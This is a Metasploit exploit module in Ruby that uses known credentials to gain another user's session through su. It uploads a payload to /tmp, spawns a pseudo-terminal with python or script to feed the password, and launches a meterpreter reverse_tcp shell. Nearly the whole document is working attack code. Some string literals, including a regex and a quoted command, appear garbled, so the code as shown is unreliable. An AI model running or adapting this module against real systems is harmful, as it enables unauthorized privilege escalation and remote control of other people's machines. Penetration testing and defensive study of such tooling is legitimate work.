Linux / Unix su Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Unix
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = NormalRanking

  def initialize(info = {})
    super(
        update_info(
          info,
          'Name' => 'Login to Another User with Su on Linux / Unix Systems',
          'Description' => %q{
            This module attempts to create a new login session by
            invoking the su command of a valid username and password.

            If the login is successful, a new session is created via
            the specified payload.

            Because su forces passwords to be passed over stdin, this
            module attempts to invoke a psuedo-terminal with python,
            python3, or script.
          },
          'License' => MSF_LICENSE,
          'Author' => 'Gavin Youker <[email protected]>',
          'DisclosureDate' => '1971-11-03',
          'Platform' => ['linux', 'unix'],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Targets' => [
            [
              'Linux x86', {
                'Arch' => ARCH_X86,
                'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
              }
            ],
            [
              'Linux x86_64', {
                'Arch' => ARCH_X64,
                'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
              }
            ],
          ],
          'DefaultTarget' => 0,
          'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
          'SessionTypes' => ['shell', 'meterpreter']
        )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']),
      OptString.new('PASSWORD', [false, 'Password to authenticate with.'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  # Main function to run the exploit.
  def exploit
    fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])

    # Upload the payload and stager files.
    print_status('Uploading payload to target')
    payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])

    # Execute the payload.
    print_status('Attempting to login with su')
    exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file)
  end

  # Function to check if target is exploitable.
  def check
    # Make sure su is installed.
    unless command_exists?('su')
      vprint_error('su not found on target machine')
      return CheckCode::Safe
    end

    # Make sure a program to run the exploit is installed.
    prorgam = find_exec_program
    unless prorgam
      vprint_error('One of the following programs must be installed on target: python, python3, script')
      return CheckCode::Safe
    end

    # Make sure script requirements are met.
    if prorgam == 'script'
      # Check for command dependencies.
      commands = ['sh', 'sleep', 'echo', 'base64']
      for command in commands
        unless command_exists?(command)
          vprint_error("The '#{command}' must be installed on target")
          return CheckCode::Safe
        end
      end

      # Check that the script program is apart of the util-linux package.
      version = find_util_linux_verison
      unless version
        vprint_error("The 'script' program must be of the 'util-linux' package")
        return CheckCode::Safe
      end

      # Check that util-linux in of a compatible version.
      unless version >= Gem::Version.new('2.25')
        vprint_error("The package 'util-linux' must be version 2.25 or higher")
        return CheckCode::Safe
      end
    end

    return CheckCode::Appears
  end

  # Function to build and write the payload.
  def build_payload(contents, dir)
    fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)

    filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

    write_file(filepath, contents)
    chmod(filepath, 755)
    register_files_for_cleanup(filepath)

    return filepath
  end

  # Function to execute the payload through the stager.
  def exec_payload(username, password, payload)
    # Load the exploit based on avaliable options.
    if password
      program = find_exec_program
      if ['python', 'python3'].include?(program)
        vprint_status("Using '#{program}' to load exploit")

        python = 'import os, pty, base64;'
                 'read = lambda fd: os.read(fd, 1024);'
                 "write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"
                 "command = 'su - #{username} -c #{payload}';"
                 'os.close(0);'
                 'pty.spawn(command.split(), read, write);'

        command = "#{program} -c "#{python}""
      elsif program == 'script'
        vprint_status("Using 'script' to load exploit")
        command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'"
      end
    else
      command = "su - #{username} -c #{payload}"
    end

    # Execute the exploit.
    response = cmd_exec(command)

    fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')
    return true
  end

  def find_exec_program
    return 'python' if command_exists?('python')
    return 'python3' if command_exists?('python3')
    return 'script' if command_exists?('script')

    return false
  end

  # Function to check if the user exists.
  def user_exists(username)
    return get_users.any? { |user| user[:name] == username }
  end

  # Function to get util-linux version.
  def find_util_linux_verison
    response = cmd_exec('script -V')
    match = response.match(/script from util-linux (?<version>d.d+(.d+)?)/)

    return false unless match

    return Gem::Version.new(match[:version])
  end
end